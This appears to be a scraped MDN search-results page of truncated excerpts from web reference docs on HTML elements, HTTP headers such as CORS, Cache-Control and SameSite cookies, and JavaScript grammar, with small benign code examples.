dom interface htmlcanvaselement attributes this element's attributes include the global attributes. height the height of the coordinate space in css pixels. defaults to 150. moz-opaque lets the canvas know whether or not translucency will be a factor. if the canvas knows there's no translucency, painting performance can be optimized. this is only supported by mozilla-based browsers; use the standardized canvas.getcontext('2d', { alpha: false }) instead. width the width of the coordinate space in css pixels. defaults to 300. usage notes alternative content you may (and should) provide alternate content inside the <canvas> block. that content will be rendered both on older browsers that don't support canvas and in browsers with javascript disabled. providing a useful...
...d during rendering to fit the styled size, which can make the final graphics rendering end up being distorted. it is better to specify your canvas dimensions by setting the width and height attributes directly on the <canvas> elements, either directly in the html or by using javascript. ...
...er to specify your canvas dimensions by setting the width and height attributes directly on the <canvas> elements, either directly in the html or by using javascript. maximum canvas size the maximum size of a <canvas> element is very large, but the exact size depends on the browser. the following is some data we've collected from various tests and other sources (e.g. ...
...e., 22,528 x 20,992) safari 32,767 pixels 32,767 pixels 268,435,456 pixels (i.e., 16,384 x 16,384) ie 8,192 pixels 8,192 pixels ? note: exceeding the maximum dimensions or area renders the canvas unusable — drawing commands will not work. examples html this code snippet adds a canvas element to your html document. a fallback text is provided if a browser is unable to render the canvas, or if can't read a canvas. <canvas width="300" height="300"> an alternative text describing what your canvas displays. </canvas> javascript then in the javascript code, call htmlcanvaselement.getcontext() to get a drawing context and start drawing onto the canvas: const canvas = document.queryselector('canvas'); const ctx = canvas.getcontext('2d'); ctx.fil...
<datalist>: The HTML Data List element - HTML: Hypertext Markup Language
Web › HTML › Element › datalist
none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role listbox permitted aria roles no role permitted dom interface htmldatalistelement attributes this element has no other attributes than the global attributes, common to all elements. ...
...starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role listbox permitted aria roles no role permitted dom interface htmldatalistelement attributes this element has no other attributes than the global attributes, common to all elements. ...
... permitted parents any element that accepts phrasing content. implicit aria role listbox permitted aria roles no role permitted dom interface htmldatalistelement attributes this element has no other attributes than the global attributes, common to all elements. ...
...ents any element that accepts phrasing content. implicit aria role listbox permitted aria roles no role permitted dom interface htmldatalistelement attributes this element has no other attributes than the global attributes, common to all elements. examples <label for="mybrowser">choose a browser from this list:</label> <input list="browsers" id="mybrowser" name="mybrowser" /> <datalist id="browsers"> <option value="chrome"> <option value="firefox"> <option value="internet explorer"> <option value="opera"> <option value="safari"> <option value="microsoft edge"> </datalist> result specifications specification status comment html living standardthe definition of '<datalist>' in that specification. li...
<details>: The Details disclosure element - HTML: Hypertext Markup Language
Web › HTML › Element › details
ement — are currently visible. the default, false, means the details are not visible. events in addition to the usual events supported by html elements, the <details> element supports the toggle event, which is dispatched to the <details> element whenever its state changes between open and closed. it is sent after the state is changed, although if the state changes multiple times before the browser can dispatch the event, the events are coalesced so that only one is sent. you can use an event listener for the toggle event to detect when the widget changes state: details.addeventlistener("toggle", event => { if (details.open) { /* the element was toggled open */ } else { /* the element was toggled closed */ } }); examples a simple disclosure example this example shows a ...
...ment was toggled closed */ } }); examples a simple disclosure example this example shows a <details> element with no provided summary. <details> <p>requires a computer running an operating system. the computer must have some memory and ideally some kind of long-term storage. an input device as well as some form of output device is recommended.</p> </details> in this situation, the browser will use a default summary string (usually "details"). here's what your browser does with it: providing a summary this example adds a summary to the above example by using the <summary> element inside <details>, like this: <details> <summary>system requirements</summary> <p>requires a computer running an operating system. the computer must have some memory and ideally some kind of lo...
...ummary> <p>requires a computer running an operating system. the computer must have some memory and ideally some kind of long-term storage. an input device as well as some form of output device is recommended.</p> </details> result customizing the disclosure widget the disclosure triangle itself can be customized, although this is not as broadly supported. there are variations in how browsers support this customization due to experimental implementations as the element was standardized, so we'll have to use multiple approaches for a while. the <summary> element supports the list-style shorthand property and its longhand properties, such as list-style-type, to change the disclosure triangle to whatever you choose (usually with list-style-image). for example, we can remove the discl...
...and property and its longhand properties, such as list-style-type, to change the disclosure triangle to whatever you choose (usually with list-style-image). for example, we can remove the disclosure widget icon by setting list-style: none. chrome doesn't support this yet, however, so we also need to use its non-standard ::-webkit-details-marker pseudo-element to customize the appearance in that browser. css details { font: 16px "open sans", calibri, sans-serif; width: 620px; } details > summary { padding: 2px 6px; width: 15em; background-color: #ddd; border: none; box-shadow: 3px 3px 4px black; cursor: pointer; list-style: none; } details > summary::-webkit-details-marker { display: none; } details > p { border-radius: 0 0 10px 10px; background-color: #ddd; padd...
<form> - HTML: Hypertext Markup Language
Web › HTML › Element › form
ch, none or presentation dom interface htmlformelement attributes this element includes the global attributes. accept comma-separated content types the server accepts. this attribute was removed in html5 and should not be used. instead, use the accept attribute on <input type=file> elements. accept-charset space-separated character encodings the server accepts. the browser uses them in the order in which they are listed. the default value means the same encoding as the page. (in previous versions of html, character encodings could also be delimited by commas.) autocapitalize a nonstandard attribute used by ios safari that controls how textual form elements should be automatically capitalized. autocapitalize attributes on a form elements override it on <form>...
... on a form elements override it on <form>. possible values: none: no automatic capitalization. sentences (default): capitalize the first letter of each sentence. words: capitalize the first letter of each word. characters: capitalize all characters — that is, uppercase. autocomplete indicates whether input elements can by default have their values automatically completed by the browser. autocomplete attributes on form elements override it on <form>. possible values: off: the browser may not automatically complete entries. (browsers tend to ignore this for suspected login forms; see the autocomplete attribute and login fields.) on: the browser may automatically complete entries. name the name of the form. deprecated as of html 4 (use id instead). it must be unique...
...alidated when submitted. if this attribute is not set (and therefore the form is validated), it can be overridden by a formnovalidate attribute on a <button>, <input type="submit">, or <input type="image"> element belonging to the form. target indicates where to display the response after submitting the form. in html 4, this is the name/keyword for a frame. ...
...e on a <button>, <input type="submit">, or <input type="image"> element belonging to the form. target indicates where to display the response after submitting the form. in html 4, this is the name/keyword for a frame. in html5, it is a name/keyword for a browsing context (for example, tab, window, or iframe). the following keywords have special meanings: _self (default): load into the same browsing context as the current one. _blank: load into a new unnamed browsing context. _parent: load into the parent browsing context of the current one. if no parent, behaves the same as _self. _top: load into the top-level browsing context (i.e., the browsing context that is an ancestor of the current one and has no parent). if no parent, behaves the same as _self. this value can be overrid...
<input type="checkbox"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › checkbox
generally this is a square but it may have rounded corners. a checkbox allows you to select single values for submission in a form (or not). the source for this interactive example is stored in a github repository. ...
...: if the checkbox’s state is changed, this content attribute does not reflect the change. (only the htmlinputelement’s checked idl attribute is updated.) note: unlike other input controls, a checkboxes value is only included in the submitted data if the checkbox is currently checked. if it is, then the value of the checkbox's value attribute is reported as the input's value. unlike other browsers, firefox by default persists the dynamic checked state of an <input> across page loads. use the autocomplete attribute to control this feature. indeterminate if the indeterminate attribute is present on the <input> element defining a checkbox, the checkbox's value is neither true nor false, but is instead indeterminate, meaning that it's state cannot be determined or stated in pure binary te...
...ither true nor false, but is instead indeterminate, meaning that it's state cannot be determined or stated in pure binary terms. this may happen, for instance, if the state of the checkbox depends on multiple other checkboxes, and those checkboxes have different values. essentially, then, the indeterminate attribute adds a third possible state to the checkbox: "i don't know." in this state, the browser may draw the checkbox in grey or with a different mark inside the checkbox. for instance, browsers on macos may draw the checkbox with a hyphen "-" inside to indicate an unexpected state. value the value attribute is one which all <input>s share; however, it serves a special purpose for inputs of type checkbox: when a form is submitted, only checkboxes which are currently checked are submitte...
... a state in which it's impossible to say whether the item is toggled on or off. this is set using the htmlinputelement object's indeterminate property via javascript (it cannot be set using an html attribute): inputinstance.indeterminate = true; a checkbox in the indeterminate state has a horizontal line in the box (it looks somewhat like a hyphen or minus sign) instead of a check/tick in most browsers. there are not many use cases for this property. the most common is when a checkbox is available that "owns" a number of sub-options (which are also checkboxes). if all of the sub-options are checked, the owning checkbox is also checked, and if they're all unchecked, the owning checkbox is unchecked. if any one or more of the sub-options have a different state than the others, the owning chec...
<picture>: The Picture element - HTML: Hypertext Markup Language
Web › HTML › Element › picture
the selected image is then presented in the space occupied by the <img> element. the source for this interactive example is stored in a github repository. ...
...the selected image is then presented in the space occupied by the <img> element. the source for this interactive example is stored in a github repository. ...
...sion of an image which has too many details, on smaller displays). offering alternative image formats, for cases where certain formats are not supported. saving bandwidth and speeding page load times by loading the most appropriate image for the viewer's display. if providing higher-density versions of an image for high-dpi (retina) display, use srcset on the <img> element instead. this lets browsers opt for lower-density versions in data-saving modes, and you don't have to write explicit media conditions. content categories flow content, phrasing content, embedded content permitted content zero or more <source> elements, followed by one <img> element, optionally intermixed with script-supporting elements. tag omission none, both the starting and ending...
...<img> element, not the <picture> element. examples these examples demonstrate how different attributes of the <source> element change the selection of the image inside <picture>. the media attribute the media attribute specifies a media condition (similar to a media query) that the user agent will evaluate for each <source> element. if the <source>'s media condition evaluates to false, the browser skips it and evaluates the next element inside <picture>. <picture> <source srcset="mdn-logo-wide.png" media="(min-width: 600px)"> <img src="mdn-logo-narrow.png" alt="mdn"> </picture> the srcset attribute the srcset attribute is used to offer list of possible images based on size. it is composed of a comma-separated list of image descriptors. each image descriptor is composed of a url ...
<select>: The HTML Select element - HTML: Hypertext Markup Language
Web › HTML › Element › select
ancestor <form> element, if any.) this attribute lets you associate <select> elements to <form>s anywhere in the document, not just inside a <form>. it can also override an ancestor <form> element. multiple this boolean attribute indicates that multiple options can be selected in the list. if it is not specified, then only one option can be selected at a time. ...
...s specified, most browsers will show a scrolling list box instead of a single line dropdown. name this attribute is used to specify the name of the control. required a boolean attribute indicating that an option with a non-empty string value must be selected. size if the control is presented as a scrolling list box (e.g. when multiple is specified), this attribute represents the number of rows in the list that should be visible at one time. browsers are not required to present a select element as a scrolled list box. the default value is 0. ...
...ox (e.g. when multiple is specified), this attribute represents the number of rows in the list that should be visible at one time. browsers are not required to present a select element as a scrolled list box. the default value is 0. note: according to the html5 specification, the default value for size should be 1; however, in practice, this has been found to break some web sites, and no other browser currently does that, so mozilla has opted to continue to return 0 for the time being with firefox. usage notes selecting multiple options on a desktop computer, there are a number of ways to select multiple options in a <select> element with a multiple attribute: mouse users can hold the ctrl, command, or shift keys (depending on what makes sense for your operating system) and then click...
...select "focused" select options. styling with css the <select> element is notoriously difficult to style productively with css. you can affect certain aspects like any element — for example, manipulating the box model, the displayed font, etc., and you can use the appearance property to remove the default system appearance. however, these properties don't produce a consistent result across browsers, and it is hard to do things like line different types of form element up with one another in a column. the <select> element's internal structure is complex, and hard to control. if you want to get full control, you should consider using a library with good facilities for styling form widgets, or try rolling your own dropdown menu using non-semantic elements, javascript, and wai-aria to provid...
<table>: The Table element - HTML: Hypertext Markup Language
Web › HTML › Element › table
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...ted attribute defines where rules, i.e. lines, should appear in a table. it can have the following values: none, which indicates that no rules will be displayed; it is the default value; groups, which will cause the rules to be displayed between row groups (defined by the <thead>, <tbody> and <tfoot> elements) and between column groups (defined by the <col> and <colgroup> elements) only; rows, which will cause the rules to be displayed between rows; columns, which will cause the rules to be displayed between columns; all, which will cause the rules to be displayed between rows and columns. to achieve a similar effect, apply the border property to the appropriate <thead>, <tbody>, <tfoot>, <col>, or <colgroup> elements. summary this attribute defines an alternative text t...
... it helps the people decide if they need to read the rest of the table content or skip over it. this helps people navigating with the aid of assistive technology such as a screen reader, people experiencing low vision conditions, and people with cognitive concerns. mdn adding a caption to your table with <caption> caption & summary • tables • w3c wai web accessibility tutorials scoping rows and columns the scope attribute on header elements is redundant in simple contexts, because scope is inferred. however, some assistive technologies may fail to draw correct inferences, so specifying header scope may improve user experiences. in complex tables, scope can be specified so as to provide necessary information about the cells related to a header. example <table> <caption>color nam...
...ility tutorials h63: using the scope attribute to associate header cells and data cells in data tables | w3c techniques for wcag 2.0 complicated tables assistive technology such as screen readers may have difficulty parsing tables that are so complex that header cells can’t be associated in a strictly horizontal or vertical way. this is typically indicated by the presence of the colspan and rowspan attributes. ideally, consider alternate ways to present the table's content, including breaking it apart into a collection of smaller, related tables that don't have to rely on using the colspan and rowspan attributes. in addition to helping people who use assistive technology understand the table's content, this may also benefit people with cognitive concerns who may have difficulty understa...
Data URLs - HTTP
data urls, urls prefixed with the data: scheme, allow content creators to embed small files inline in documents. they were formerly known as "data uris" until that name was retired by the whatwg. note: data urls are treated as unique opaque origins by modern browsers, rather than inheriting the origin of the settings object responsible for the navigation. syntax data urls are composed of four parts: a prefix (data:), a mime type indicating the type of data, an optional base64 token if non-textual, and the data itself: data:[<mediatype>][;base64],<data> the mediatype is a mime type string, such as 'image/jpeg' for a jpeg image file. if omitted, defaults to text/plain;charset=us-ascii if the data is textual, you can simply embed the text (using the appropriate entities or escapes based...
...nt's type). otherwise, you can specify base64 to embed base64-encoded binary data. you can find more info on mime types here and here. a few examples: data:,hello%2c%20world! simple text/plain data. note the use of percent-encoding (url-encoding) for the quote and space characters. also, for csv data (mime type "text/csv"), percent-encoding is needed to preserve the line endings that delimit rows of the spreadsheet. data:text/plain;base64,sgvsbg8sifdvcmxkiq== base64-encoded version of the above data:text/html,%3ch1%3ehello%2c%20world!%3c%2fh1%3e an html document with <h1>hello, world!</h1> data:text/html,<script>alert('hi');</script> an html document that executes a javascript alert. note that the closing script tag is required. encoding data into base64 format base64 is a group ...
...format. formatting in html a data url provides a file within a file, which can potentially be very wide relative to the width of the enclosing document. as a url, the data should be formatable with whitespace (linefeed, tab, or spaces), but there are practical issues that arise when using base64 encoding. length limitations although firefox supports data urls of essentially unlimited length, browsers are not required to support any particular maximum length of data. for example, the opera 11 browser limited urls to 65535 characters long which limits data urls to 65529 characters (65529 characters being the length of the encoded data, not the source, if you use the plain data:, without specifying a mime type). lack of error handling invalid parameters in media, or typos when specifying 'b...
...d. no support for query strings, etc. the data portion of a data url is opaque, so an attempt to use a query string (page-specific parameters, with the syntax <url>?parameter-data) with a data url will just include the query string in the data the url represents. security issues a number of security issues (e.g. phishing) have been associated with data urls, and navigating to them in the browser's top level. to mitigate such issues, top-level navigation to data:// urls has been blocked in firefox 59+ (release version, nightly/beta from 58), and we hope to see other browsers follow suit soon. see blocking top-level navigations to data urls for firefox 58 for more details. specifications specification title rfc 2397 the "data" url scheme ...
Connection management in HTTP/1.x - HTTP
ce. http/1.0 connections are not persistent by default. setting connection to anything other than close, usually retry-after, will make them persistent. in http/1.1, persistence is the default, and the header is no longer needed (but it is often added as a defensive measure against cases requiring a fallback to http/1.0). http pipelining http pipelining is not activated by default in modern browsers: buggy proxies are still common and these lead to strange and erratic behaviors that web developers cannot foresee and diagnose easily. pipelining is complex to implement correctly: the size of the resource being transferred, the effective rtt that will be used, as well as the effective bandwidth, have a direct incidence on the improvement provided by the pipeline. without knowing these, i...
... in size of http requests continues to grow. not all types of http requests can be pipelined: only idempotent methods, that is get, head, put and delete, can be replayed safely: should a failure happen, the pipeline content can simply be repeated. today, every http/1.1-compliant proxy and server should support pipelining, though many have limitations in practice: a significant reason no modern browser activates this feature by default. domain sharding unless you have a very specific immediate need, don't use this deprecated technique; switch to http/2 instead. in http/2, domain sharding is no longer useful: the http/2 connection is able to handle parallel unprioritized requests very well. domain sharding is even detrimental to performance. most http/2 implementations use a technique calle...
...e http/2 connection is able to handle parallel unprioritized requests very well. domain sharding is even detrimental to performance. most http/2 implementations use a technique called connection coalescing to revert eventual domain sharding. as an http/1.x connection is serializing requests, even without any ordering, it can't be optimal without large enough available bandwidth. as a solution, browsers open several connections to each domain, sending parallel requests. default was once 2 to 3 connections, but this has now increased to a more common use of 6 parallel connections. there is a risk of triggering dos protection on the server side if attempting more than this number. if the server wishes a faster web site or application response, it is possible for the server to force the opening...
...more than this number. if the server wishes a faster web site or application response, it is possible for the server to force the opening of more connections. for example, instead of having all resources on the same domain, say www.example.com, it could split over several domains, www1.example.com, www2.example.com, www3.example.com. each of these domains resolve to the same server, and the web browser will open 6 connections to each (in our example, boosting the connections to 18). this technique is called domain sharding. conclusion improved connection management allows considerable boosting of performance in http. with http/1.1 or http/1.0, using a persistent connection – at least until it becomes idle – leads to the best performance. however, the failure of pipelining has lead to ...
Access-Control-Allow-Origin - HTTP
whether the response can be shared with requesting code from the given origin. header type response header forbidden header name no syntax access-control-allow-origin: * access-control-allow-origin: <origin> access-control-allow-origin: null directives * for requests without credentials, the literal value "*" can be specified, as a wildcard; the value tells browsers to allow requesting code from any origin to access the resource. attempting to use the wildcard with credentials will result in an error. <origin> specifies an origin. only a single origin can be specified. if the server supports clients from multiple origins, it must return the origin for the specific client making the request. null specifies the origin "null". note: null should not be u...
...hat uses a non-hierarchical scheme (such as data: or file:) and sandboxed documents is defined to be "null". many user agents will grant such documents access to a response with an access-control-allow-origin: "null" header, and any origin can create a hostile document with a "null" origin. ...
...ments access to a response with an access-control-allow-origin: "null" header, and any origin can create a hostile document with a "null" origin. ...
...allowed origins, and then if the origin value is in the list, to set the access-control-allow-origin value to the same value as the origin value. cors and caching if the server sends a response with an access-control-allow-origin value that is an explicit origin (rather than the "*" wildcard), then the response should also include a vary response header with the value origin — to indicate to browsers that server responses can differ based on the value of the origin request header. access-control-allow-origin: https://developer.mozilla.org vary: origin specifications specification status comment fetchthe definition of 'access-control-allow-origin' in that specification. living standard initial definition. ...
Cache-Control - HTTP
control directives extension cache-control directives are not part of the core http caching standards document. check the compatibility table for their support; user-agents that don't recognize them should ignore them. ...
... and cache-control does not have no-store, or if proxy, does not have private and authorization is unset either has a status code of 301, 302, 307, 308, or 410 or has public, max-age or s-maxage in cache-control or has expires set public the response may be stored by any cache, even if the response is normally non-cacheable. private the response may be stored only by a browser's cache, even if the response is normally non-cacheable. if you mean to not store the response in any cache, use no-store instead. this directive is not effective in preventing caches from storing your response. no-cache the response may be stored by any cache, even if the response is normally non-cacheable. however, the stored response must always go through validation with the origin server...
... therefore, you cannot use no-cache in-conjunction with immutable. if you mean to not store the response in any cache, use no-store instead. this directive is not effective in preventing caches from storing your response. no-store the response may not be stored in any cache. although other directives may be set, this alone is the only directive you need in preventing cached responses on modern browsers. max-age=0 is already implied. setting must-revalidate does not make sense because in order to go through revalidation you need the response to be stored in a cache, which no-store prevents. expiration max-age=<seconds> the maximum amount of time a resource is considered fresh. unlike expires, this directive is relative to the time of the request. s-maxage=<seconds> overrides max-age o...
...icitly refreshes the page. clients that aren't aware of this extension must ignore them as per the http specification. in firefox, immutable is only honored on https:// transactions. for more information, see also this blog post. other no-transform an intermediate cache or proxy cannot edit the response body, content-encoding, content-range, or content-type. it therefore forbids a proxy or browser feature, such as google’s web light, from converting images to minimize data for a cache store or slow connection. only-if-cached set by the client to indicate "do not use the network" for the response. the cache should either respond using a stored response, or respond with a 504 status code. conditional headers such as if-none-match should not be set. there is no effect if only-if-cached ...
Feature-Policy: fullscreen - HTTP
a bug whereby the fullscreen directive didn't work unless the allowfullscreen attribute was also present, but this has been fixed as of firefox 80 (bug 1608358). syntax feature-policy: fullscreen <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. default policy the default value is 'self'. ...
...it can do so by delivering the following http response header to define a feature policy: feature-policy: fullscreen 'self' https://example.com with an <iframe> element fastcorp inc. wants to disable fullscreen for all cross-origin child frames, except for a specific <iframe>. ...
Feature-Policy: geolocation - HTTP
documents and their same-origin child frames. this directive allows or prevents cross-origin frames from accessing geolocation. this includes same-origin frames. syntax feature-policy: geolocation <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. the default value is 'self'. examples general ...
...it can do so by delivering the following http response header to define a feature policy: feature-policy: geolocation 'self' https://example.com with an <iframe> element fastcorp inc. ...
SameSite cookies - HTTP
the samesite attribute of the set-cookie http response header allows you to declare if your cookie should be restricted to a first-party or same-site context. values the samesite attribute accepts three values: lax cookies are allowed to be sent with top-level navigations and will be sent along with get request initiated by third party website. this is the default value in modern browsers. strict cookies will only be sent in a first-party context and not be sent along with requests initiated by third party websites. none cookies will be sent in all contexts, i.e sending cross-origin is allowed. none used to be the default value, but recent browser versions made lax the default value to have reasonably robust defense against some classes of cross-site request forgery (csrf) attacks. ...
...see below for more information. ...
...amesite=none to fix this, you will have to add the secure attribute to your samesite=none cookies. set-cookie: flavor=choco; samesite=none; secure a secure cookie is only sent to the server with an encrypted request over the https protocol. note that insecure sites (http:) can't set cookies with the secure directive. cookies without samesite default to samesite=lax recent versions of modern browsers provide a more secure default for samesite to your cookies and so the following message might appear in your console: some cookies are misusing the “samesite“ attribute, so it won’t work as expected. cookie “mycookie” has “samesite” policy set to “lax” because it is missing a “samesite” attribute, and “samesite=lax” is the default value for this attribute. the wa...
...using the “samesite“ attribute, so it won’t work as expected. cookie “mycookie” has “samesite” policy set to “lax” because it is missing a “samesite” attribute, and “samesite=lax” is the default value for this attribute. the warning appears because the samesite policy for a cookie has not specified explicitly: set-cookie: flavor=choco while you could rely on modern browsers to apply samesite=lax automatically, you should rather specify it explicitly to clearly communicate your intent which samesite policy applies to your cookie. this will also improve the experience across browsers as not all of them default to lax yet. set-cookie: flavor=choco; samesite=lax example: rewriteengine on rewritebase "/" rewritecond "%{http_host}" "^example\.org$" [nc] rewrit...
User-Agent - HTTP
the user-agent request header is a characteristic string that lets servers and network peers identify the application, operating system, vendor, and/or version of the requesting user agent. please read browser detection using the user agent for why serving different web pages or services to different browsers is usually a bad idea. header type request header forbidden header name no syntax user-agent: <product> / <product-version> <comment> common format for web browsers: user-agent: mozilla/5.0 (<system-information>) <platform> (<platform-details>) <extensions> directives <product> a product identifier — its name or development codename. <product-version> version number of the product. <comment> zero or more comments containing more details; s...
... zero or more comments containing more details; sub-product information, for example. firefox ua string for more on firefox- and gecko-based user agent strings, see the firefox user agent string reference. the ua string of firefox is broken down into 4 components: mozilla/5.0 (platform; rv:geckoversion) gecko/geckotrail firefox/firefoxversion mozilla/5.0 is the general token that says the browser is mozilla-compatible. for historical reasons, almost every browser today sends it. platform describes the native platform the browser is running on (windows, mac, linux, android, etc.), and if it's a mobile phone. firefox os phones simply say mobile — the web is the platform. note that platform can consist of multiple "; "-separated tokens. see below for further details and examples. rv:ge...
...nds it. platform describes the native platform the browser is running on (windows, mac, linux, android, etc.), and if it's a mobile phone. firefox os phones simply say mobile — the web is the platform. note that platform can consist of multiple "; "-separated tokens. see below for further details and examples. rv:geckoversion indicates the release version of gecko (such as "17.0"). in recent browsers, geckoversion is the same as firefoxversion. gecko/geckotrail indicates that the browser is based on gecko. (on desktop, geckotrail is always the fixed string 20100101.) firefox/firefoxversion indicates the browser is firefox, and provides the version (such as "17.0"). examples mozilla/5.0 (windows nt 6.1; win64; x64; rv:47.0) gecko/20100101 firefox/47.0 mozilla/5.0 (macintosh; intel mac ...
.../5.0 (macintosh; intel mac os x x.y; rv:42.0) gecko/20100101 firefox/42.0 chrome ua string the chrome (or chromium/blink-based engines) user agent string is similar to firefox’s. for compatibility, it adds strings like khtml, like gecko and safari. examples mozilla/5.0 (x11; linux x86_64) applewebkit/537.36 (khtml, like gecko) chrome/51.0.2704.103 safari/537.36 opera ua string the opera browser is also based on the blink engine, which is why it almost looks the same, but adds "opr/<version>". examples mozilla/5.0 (x11; linux x86_64) applewebkit/537.36 (khtml, like gecko) chrome/51.0.2704.106 safari/537.36 opr/38.0.2220.41 older, presto-based opera releases used: opera/9.80 (macintosh; intel mac os x; u; en) presto/2.2.15 version/10.00 opera/9.60 (windows nt 6.0; u; en) presto/2.1.
Redirections in HTTP - HTTP
ects during site maintenance or downtime permanent redirects to preserve existing links/bookmarks after changing the site's urls, progress pages when uploading a file, etc. principle in http, redirection is triggered by a server sending a special redirect response to a request. redirect responses have status codes that start with 3, and a location header holding the url to redirect to. when browsers receive a redirect, they immediately load the new url provided in the location header. besides the small performance hit of an additional round-trip, users rarely notice the redirection. there are several types of redirects, sorted into three categories: permanent redirections temporary redirections special redirections permanent redirections these redirections are meant to last for...
... [2] the specification did not intend to allow method changes, but there are existing user agents that do change their method. 307 was created to remove the ambiguity of the behavior when using non-get methods. special redirections 304 (not modified) redirects a page to the locally cached copy (that was stale), and 300 (multiple choice) is a manual redirection: the body, presented by the browser as a web page, lists the possible redirections and the user clicks on one to select it. code text typical use case 300 multiple choice not many: the choices are listed in an html page in the body. machine-readable choices are encouraged to be sent as link headers with rel=alternate. 304 not modified sent for revalidated conditional requests. ind...
...ay to define redirections. there are two others: html redirections with the <meta> element javascript redirections via the dom html redirections http redirects are the best way to create redirections, but sometimes you don't have control over the server. in that case, try a <meta> element with its http-equiv attribute set to refresh in the <head> of the page. when displaying the page, the browser will go to the indicated url. <head> <meta http-equiv="refresh" content="0; url=https://example.com/"> </head> the content attribute should start with a number indicating how many seconds the browser should wait before redirecting to the given url. always set it to 0 for accessibility compliance. obviously, this method only works with html, and cannot be used for images or other types of ...
... ever be found. most of the time this is a server problem, and if the server cannot detect it, it will send back a 500 internal server error. if you encounter such an error soon after modifying a server configuration, this is likely a redirection loop. sometimes, the server won't detect it: a redirection loop can spread over several servers which each don't have the full picture. in this case, browsers will detect it and display an error message. firefox displays: firefox has detected that the server is redirecting the request for this address in a way that will never complete. …while chrome displays: this webpage has a redirect loop in both cases, the user can't do much (unless a corruption is happening on their side, like a mismatch of cache or cookies). it is important to avoid...
handler.setPrototypeOf() - JavaScript
proxy will throw a typeerror: if target is not extensible, the prototype parameter must be the same value as object.getprototypeof(target). examples if you want to disallow setting a new prototype for your object, your handler's setprototypeof() method can either return false, or it can throw an exception. approach 1: returning false this approach means that any mutating operation that throws an exception on failure to mutate, must create the exception itself. for example, object.setprototypeof() will create and throw a typeerror itself. if the mutation is performed by an operation that doesn't ordinarily throw in case of failure, such as reflect.setprototypeof(), no exception will be thrown. const handlerreturnsfalse = { setprototypeof(target, newproto) { return false;...
...or itself. if the mutation is performed by an operation that doesn't ordinarily throw in case of failure, such as reflect.setprototypeof(), no exception will be thrown. ...
...andlerreturnsfalse); object.setprototypeof(p1, newproto); // throws a typeerror reflect.setprototypeof(p1, newproto); // returns false approach 2: throwing an exception the latter approach will cause any operation that attempts to mutate, to throw. this approach is best if you want even non-throwing operations to throw on failure, or you want to throw a custom exception value. ...
...the latter approach will cause any operation that attempts to mutate, to throw. this approach is best if you want even non-throwing operations to throw on failure, or you want to throw a custom exception value. const handlerthrows = { setprototypeof(target, newproto) { throw new error('custom error'); } }; const newproto = {}, target = {}; const p2 = new proxy(target, handlerthrows); object.setprototypeof(p2, newproto); // throws new error("custom error") reflect.setprototypeof(p2, newproto); // throws new error("custom error") specifications specification ecmascript (ecma-262)the definition of '[[setprototypeof]]' in that specification. ...
Lexical grammar - JavaScript
e; only one such comment is permitted. the hashbang comment specifies the path to a specific javascript interpreter that you want to use to execute the script. an example is as follows: #!/usr/bin/env node console.log("hello world"); note: hashbang comments in javascript mimic shebangs in unix used to run files with proper interpreter. although bom before hashbang comment will work in a browser it is not advised to use bom in a script with hasbang. bom will not work when you try to run the script in unix/linux. so use utf-8 without bom if you want to run scripts directly from shell. you must only use the #! comment style to specify a javascript interpreter. in all other cases just use a // comment (or mulitiline comment). keywords reserved keywords as of ecmascript 2015 break ...
...ents interface let package private protected public static the following are only reserved when they are found in module code: await future reserved keywords in older standards the following are reserved as future keywords by older ecmascript specifications (ecmascript 1 till 3). abstract boolean byte char double final float goto int long native short synchronized throws transient volatile additionally, the literals null, true, and false cannot be used as identifiers in ecmascript. reserved word usage reserved words actually only apply to identifiers (vs. identifiernames) . as described in es5.github.com/#a.1, these are all identifiernames which do not exclude reservedwords. a.import a['import'] a = { import: 'test' }. on the other hand the following is ...
...eparator or exponent indicator) and n, which is exponent or power number – a signed integer (as per 2019 ecma-262 specs): 0e-5 // => 0 0e+5 // => 0 5e1 // => 50 175e-2 // => 1.75 1e3 // => 1000 1e-3 // => 0.001 binary binary number syntax uses a leading zero followed by a lowercase or uppercase latin letter "b" (0b or 0b). because this syntax is new in ecmascript 2015, see the browser compatibility table, below. if the digits after the 0b are not 0 or 1, the following syntaxerror is thrown: "missing binary digits after 0b". var flt_signbit = 0b10000000000000000000000000000000; // 2147483648 var flt_exponent = 0b01111111100000000000000000000000; // 2139095040 var flt_mantissa = 0b00000000011111111111111111111111; // 8388607 octal octal number syntax uses a leading zero fo...
